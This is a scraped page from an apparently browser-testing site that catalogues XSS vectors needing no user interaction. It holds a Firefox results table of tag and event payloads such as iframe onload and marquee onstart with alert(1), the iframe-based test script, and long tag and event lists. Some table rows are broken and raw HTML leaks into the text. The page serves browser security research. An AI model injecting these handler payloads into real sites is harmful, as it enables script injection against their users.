XSS vectors without user interaction

tag + onevent [without custom attributes]

By

2 Seen 865 times

Tags

XSSvectors

Run this test now.

Results

Firefox

Tested on

Firefox - 49 - Windows 10

Tag name	Event name	XSS payload

Tag:	event onload	Full XSS payload:
Tag:	event onpageshow	Full XSS payload:
Tag:	event onresize	Full XSS payload:
Tag:	event onload	Full XSS payload:
Tag:	event onpageshow	Full XSS payload:
Tag:	event onresize	Full XSS payload:
Tag: </td><td>event onload</td><td><b>Full XSS payload: <iframe onload="alert(1)"></b></td></tr><tr class="ERROR"><td>Tag: <marquee></td><td>event onscroll</td><td><b>Full XSS payload: <marquee onscroll="alert(1)"></b></td></tr><tr class="ERROR"><td>Tag: <marquee></td><td>event onstart</td><td><b>Full XSS payload: <marquee onstart="alert(1)"></b></td></tr><tr class="ERROR"><td>Tag: <object></td><td>event onerror</td><td><b>Full XSS payload: <object onerror="alert(1)"></b></td></tr><tr class="ERROR"><td>Tag: <script></td><td>event onafterscriptexecute</td><td><b>Full XSS payload: <script onafterscriptexecute="alert(1)"></b></td></tr><tr class="ERROR"><td>Tag: <script></td><td>event onbeforescriptexecute</td><td><b>Full XSS payload: <script onbeforescriptexecute="alert(1)"></b></td></tr><tr class="ERROR"><td>Tag: <style></td><td>event onload</td><td><b>Full XSS payload: <style onload="alert(1)"></b></td></tr></tbody></table></div> </div> </div> </div> </div> <div class="column"> <div class="panel panel-primary"> <div class="panel-heading"> <h3 class="panel-title"><img src="/public/imgs/icons/script.png"/> User Script (ENUM_FUNCTION) </h3> </div> <div class="panel-body"> <pre> <code> TESTRUNNER_MAXIMUM_IFRAMES=20; var tag = ''; var event = ''; function vulnerable(){ addError('Tag: &lt;' + tag + '&gt;', 'event ' + event, '<b>Full XSS payload: &lt;'+tag+' '+event+'="alert(document.domain)"&gt;</b>'); } function safe(){ addSuccess('', '', ''); } function removeIframe(){ var x = document.getElementById('XSSFrameID'); x.parentNode.removeChild(x); } function test(data){ try{ console.log(data) tag = data.substring(0,data.indexOf(":")); event = data.substring(data.indexOf(":")+1,data.length); var XSSFrame = document.createElement('iframe'); XSSFrame.id = 'XSSFrameID'; var exploitHTML = '<script>var tst<\/script><'+tag+' '+event+'="tst=1">1</'+tag+'>'; document.body.appendChild(XSSFrame); iframeDoc = XSSFrame.contentDocument \|\| XSSFrame.contentWindow.document; iframeDoc.open(); iframeDoc.write(exploitHTML); setTimeout(function(){ if(iframeDoc.defaultView.tst=="1"){ vulnerable() }else{ safe() } removeIframe() },500) iframeDoc.close(); } catch(err){ addInfo(jQuery_version , Migrate_version, 'Some Error Occured: ' + err); } } </code> </pre> </div> </div> </div> <div class="column"> <div class="panel panel-primary"> <div class="panel-heading"> <h3 class="panel-title"><img src="/public/imgs/icons/data.png"/> Enum Data (ENUM_FUNCTION) </h3> </div> <div class="panel-body"> <pre> <code> var tagslist =["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","big","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hr","html","i","iframe","img","input","ins","isindex","kbd","keygen","label","legend","li","link","main","map","marquee","mark","menu","menuitem","meta","meter","nav","noframes","noscript","object","ol","optgroup","option","output","p","param","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strike","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","bgsound","blackface","blink","bq","ilayer","layer","nosmartquotes","xml","xmp","server","shadow","sidebar","spacer","plaintext","multicol","nobr","noembed","limittext","listing","kdb","fn","comment","audioscope"]; var eventlist =["onabort","onactivate","onafterprint","onafterscriptexecute","onafterupdate","onanimationend","onanimationiteration","onanimationstart","onariarequest","onautocomplete","onautocompleteerror","onbeforeactivate","onbeforecopy","onbeforecut","onbeforedeactivate","onbeforeeditfocus","onbeforepaste","onbeforeprint","onbeforescriptexecute","onbeforeunload","onbeforeupdate","onbegin","onblur","onbounce","oncancel","oncanplay","oncanplaythrough","oncellchange","onchange","onclick","onclose","oncommand","oncompassneedscalibration","oncontextmenu","oncontrolselect","oncopy","oncuechange","oncut","ondataavailable","ondatasetchanged","ondatasetcomplete","ondblclick","ondeactivate","ondevicelight","ondevicemotion","ondeviceorientation","ondeviceproximity","ondrag","ondragdrop","ondragend","ondragenter","ondragleave","ondragover","ondragstart","ondrop","ondurationchange","onemptied","onend","onended","onerror","onerrorupdate","onexit","onfilterchange","onfinish","onfocus","onfocusin","onfocusout","onformchange","onforminput","onfullscreenchange","onfullscreenerror","ongotpointercapture","onhashchange","onhelp","oninput","oninvalid","onkeydown","onkeypress","onkeyup","onlanguagechange","onlayoutcomplete","onload","onloadeddata","onloadedmetadata","onloadstart","onlosecapture","onlostpointercapture","onmediacomplete","onmediaerror","onmessage","onmousedown","onmouseenter","onmouseleave","onmousemove","onmouseout","onmouseover","onmouseup","onmousewheel","onmove","onmoveend","onmovestart","onmozfullscreenchange","onmozfullscreenerror","onmozpointerlockchange","onmozpointerlockerror","onmscontentzoom","onmsfullscreenchange","onmsfullscreenerror","onmsgesturechange","onmsgesturedoubletap","onmsgestureend","onmsgesturehold","onmsgesturestart","onmsgesturetap","onmsgotpointercapture","onmsinertiastart","onmslostpointercapture","onmsmanipulationstatechanged","onmspointercancel","onmspointerdown","onmspointerenter","onmspointerleave","onmspointermove","onmspointerout","onmspointerover","onmspointerup","onmssitemodejumplistitemremoved","onmsthumbnailclick","onoffline","ononline","onoutofsync","onpage","onpagehide","onpageshow","onpaste","onpause","onplay","onplaying","onpointercancel","onpointerdown","onpointerenter","onpointerleave","onpointerlockchange","onpointerlockerror","onpointermove","onpointerout","onpointerover","onpointerup","onpopstate","onprogress","onpropertychange","onratechange","onreadystatechange","onreceived","onrepeat","onreset","onresize","onresizeend","onresizestart","onresume","onreverse","onrowdelete","onrowenter","onrowexit","onrowinserted","onrowsdelete","onrowsinserted","onscroll","onsearch","onseek","onseeked","onseeking","onselect","onselectionchange","onselectstart","onshow","onstalled","onstart","onstop","onstorage","onstoragecommit","onsubmit","onsuspend","onsynchrestored","ontimeerror","ontimeupdate","ontoggle","ontrackchange","ontransitionend","onunload","onurlflip","onuserproximity","onvolumechange","onwaiting","onwebkitanimationend","onwebkitanimationiteration","onwebkitanimationstart","onwebkitfullscreenchange","onwebkitfullscreenerror","onwebkittransitionend","onwheel"]; var data = []; var d = 0; for(var i in tagslist){ for(var ii in eventlist){ data[d] = (tagslist[i] + ":" + eventlist[ii]); d++; } } </code> </pre> </div> </div> </div> </div> <div id="ds-tweet-button"> <center> <a href="https://twitter.com/share" class="twitter-share-button" data-size="large" data-count="none" data-hashtags="domstrom">Tweet</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script> </center> </div> </div><!-- /.container --> <script> $(document).ready(function(){ // Highlight the fist browser tab and show only the results for that. if(typeof $('.browser_tabs').parent()[0] !== 'undefined'){ $('.browser_tabs').parent()[0].setAttribute('class', 'active'); $('.browser_results').hide(); $('.browser_results')[0].style.display = 'block'; $('.browser_tabs').click(function(){ $('#results-bar').scrollTop(); $('.browser_results').hide(); $('.browser_tabs').parent().attr('class', ''); $(this).parent().attr('class', 'active'); var browser_result = this.id; $('#'+browser_result+'_results').show(); }); } }); </script> </body> </html>